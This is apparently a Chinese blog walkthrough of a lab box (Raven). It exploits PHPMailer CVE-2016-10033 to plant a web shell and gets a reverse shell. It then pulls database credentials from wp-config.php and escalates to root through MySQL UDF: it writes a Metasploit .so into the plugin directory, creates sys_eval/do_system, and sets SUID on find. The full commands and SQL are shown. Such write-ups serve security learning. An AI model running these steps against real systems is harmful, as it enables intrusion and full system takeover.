Mysql—udf实战提权

环境

raven : 192.168.137.137
kali: 192.168.137.128
在这里插入图片描述

扫描端口

nmap -sS -Pn -A -p- -n 192.1678.137.137

在这里插入图片描述

扫描目录

dirb http://192.168.137.137
关键信息:
存在目录vendor,version下对应的是PHPMailer的版本:5.2.16
在这里插入图片描述

百度搜索:PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

存在远程代码执行漏洞,那就好办了,
在这里插入图片描述
将脚本文件复制,
修改参数:
网站路径是/var/www/html/一定要加

在这里插入图片描述

反弹shell

使用python3运行脚本:
在这里插入图片描述
访问192.168.137.137/contact.php就会生成后门文件shell.php
然后我们开启端口监听:

nv -lvp 4444

访问shell.php,另一边成功反弹shell:
在这里插入图片描述

执行python -c "import pty;pty.spawn('/bin/bash')"获得一个交互式的shell:
在这里插入图片描述
在wp-config.php下找到了数据库的用户名和密码:

root
R@v3nSecurity

在这里插入图片描述
连接数据库:
在这里插入图片描述

linux下udf提权

连接数据库:
1、查看是否有写文件的权限:
在这里插入图片描述
2、查看各个用户的权限:
当前用户启动数据库位root权限:
在这里插入图片描述
3、数据库版本是5.5.60,我们就需要知道plugin所在的位置,将so文件上传
在这里插入图片描述
4、查看数据库和操作系统架构

方式一

show variables like "%compile%"

在这里插入图片描述

64位的mysql数据库,去找对应的payload,可以在msf目录下查找就行,因为是64位的,所以必须要使用lib_mysqludf_sys_64.so

msf目录下的so文件在:usr/share/metasploit-framework/data/exploits/mysql

复制到根目录:
在这里插入图片描述
在kali上开启http服务:python3 -m http.server 8000
靶机通过wget命令下载so文件
在这里插入图片描述

连接mysql

mysql -u root -pR@v3nSecurity

在MySQL中Blob是一个二进制的对象,它是一个可以存储大量数据的容器(如图片,音乐等等),且能容纳不同大小的数据,在MySQL中有四种Blob类型,他们的区别就是可以容纳的信息量不容分别是以下四种:
①TinyBlob类型 最大能容纳255B的数据
②Blob类型 最大能容纳65KB的
③MediumBlob类型 最大能容纳16MB的数据
④LongBlob类型 最大能容纳4GB的数据

use mysql;
create table temp6(data longblob);

insert into temp6(data) values (load_file('/var/www/html/lib_mysqludf_sys_64.so'));   //上传到哪就写哪
select data from temp6 into dumpfile "/usr/lib/mysql/plugin/udf64.so";   //这个和上一行不是一个路径,要根据前面进程列出来的plugin目录进行改动(一般就是这个)
create function sys_eval returns string soname 'udf64.so'; //创建sys_eval函数
select sys_eval('whoami'); //执行函数;

在这里插入图片描述

方式二

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));   //上传到哪就写哪
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';   //这个和上一行不是一个路径嗷,要根据前面进程列出来的plugin目录进行改动(一般就是这个)
create function do_system returns integer soname '1518.so';     //创建 do_system 函数调用
select do_system('chmod u+s /usr/bin/find');     //给find命令赋予suid权限

exit退出mysql,配合使用 find 调用执行find . -exec /bin/sh ; 成功!!
在这里插入图片描述

参考文章:
https://blog.csdn.net/kukudeshuo/article/details/118888664

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值